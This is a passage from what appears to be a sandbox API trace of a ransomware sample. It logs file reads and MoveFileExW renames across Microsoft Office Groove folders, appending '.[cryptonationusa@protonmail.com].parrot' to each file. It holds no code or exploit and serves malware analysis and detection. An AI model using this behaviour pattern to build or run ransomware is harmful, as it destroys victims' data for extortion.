SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0189.377] ReadFile (in: hFile=0x260, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0189.389] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.389] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x16b33, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e314*=0x16b33, lpOverlapped=0x0) returned 1 [0189.393] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.395] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\Process Library.fdt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formstemplates\\process library.fdt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\Process Library.fdt.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formstemplates\\process library.fdt.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0189.403] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0189.403] ReadFile (in: hFile=0x260, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0189.404] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.405] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x18ead, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e314*=0x18ead, lpOverlapped=0x0) returned 1 [0189.409] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.443] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\Status Report.fdt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formstemplates\\status report.fdt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\Status Report.fdt.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formstemplates\\status report.fdt.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0189.452] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0189.452] ReadFile (in: hFile=0x260, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0189.453] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.453] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1e666, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e314*=0x1e666, lpOverlapped=0x0) returned 1 [0189.459] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.461] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\Track Issues.fdt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formstemplates\\track issues.fdt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\Track Issues.fdt.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formstemplates\\track issues.fdt.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0189.469] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\*", fInfoLevelId=0x0, lpFindFileData=0x18e3cc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e3cc) returned 0x600590 [0189.470] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51d354f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xfcf53000, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xfcf53000, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0189.470] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x886b4800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51d354f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfcccb8a0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x20338, dwReserved0=0x0, dwReserved1=0x0, cFileName="Customer Support.fdt.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="CUSTOM~1.PAR")) returned 1 [0189.471] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0189.471] ReadFile (in: hFile=0x288, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0189.472] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.473] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x6fc, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x6fc, lpOverlapped=0x0) returned 1 [0189.473] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.473] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsVersion1Warning.htm" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formsversion1warning.htm"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsVersion1Warning.htm.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formsversion1warning.htm.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0189.480] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0189.480] ReadFile (in: hFile=0x288, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0189.495] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.495] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1499, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x1499, lpOverlapped=0x0) returned 1 [0189.496] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.497] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsViewAttachmentIcons.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formsviewattachmenticons.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsViewAttachmentIcons.jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formsviewattachmenticons.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0189.503] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0189.503] ReadFile (in: hFile=0x288, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0189.505] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.505] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x638, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x638, lpOverlapped=0x0) returned 1 [0189.505] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.506] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsViewAttachmentIconsMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formsviewattachmenticonsmask.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsViewAttachmentIconsMask.bmp.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formsviewattachmenticonsmask.bmp.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0189.512] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0189.512] ReadFile (in: hFile=0x288, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0189.513] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.513] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xfa1, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0xfa1, lpOverlapped=0x0) returned 1 [0189.514] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.514] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsViewFrame.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formsviewframe.html"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsViewFrame.html.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formsviewframe.html.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0189.519] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0189.519] ReadFile (in: hFile=0x288, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0189.521] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.521] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1bfb, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x1bfb, lpOverlapped=0x0) returned 1 [0189.522] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.522] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormToolImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formtoolimages.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormToolImages.jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formtoolimages.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0189.527] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0189.527] ReadFile (in: hFile=0x288, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0189.528] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.529] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x167d1, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x167d1, lpOverlapped=0x0) returned 1 [0189.532] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.533] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\GrooveFormsMetaData.xml" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\grooveformsmetadata.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\GrooveFormsMetaData.xml.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\grooveformsmetadata.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0189.540] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0189.540] ReadFile (in: hFile=0x288, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0189.542] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.542] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xca6, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0xca6, lpOverlapped=0x0) returned 1 [0189.542] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.542] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\MENUS.JS" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\menus.js"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\MENUS.JS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\menus.js.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0189.548] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0189.548] ReadFile (in: hFile=0x288, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0189.549] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.549] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x33a, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x33a, lpOverlapped=0x0) returned 1 [0189.549] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.550] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\menu_arrow.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\menu_arrow.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\menu_arrow.gif.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\menu_arrow.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0189.556] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0189.556] ReadFile (in: hFile=0x288, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0189.557] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.558] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4af, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x4af, lpOverlapped=0x0) returned 1 [0189.558] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.558] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\SEARCH.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\search.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\SEARCH.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\search.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0189.563] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0189.563] ReadFile (in: hFile=0x288, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0189.564] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.564] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x31, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x31, lpOverlapped=0x0) returned 1 [0189.565] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.565] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\SPACER.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\spacer.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\SPACER.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\spacer.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0189.569] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0189.569] ReadFile (in: hFile=0x288, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0189.571] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.571] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xc118, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0xc118, lpOverlapped=0x0) returned 1 [0189.573] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.574] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\SUBMIT.JS" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\submit.js"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\SUBMIT.JS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\submit.js.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0189.580] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0189.580] ReadFile (in: hFile=0x288, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0189.581] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.582] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x103f, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x103f, lpOverlapped=0x0) returned 1 [0189.582] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.583] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\utilityfunctions.js" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\utilityfunctions.js"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\utilityfunctions.js.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\utilityfunctions.js.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0189.588] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0189.588] ReadFile (in: hFile=0x288, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0189.589] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.590] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x35d6, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x35d6, lpOverlapped=0x0) returned 1 [0189.591] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.591] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\validation.js" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\validation.js"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\validation.js.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft 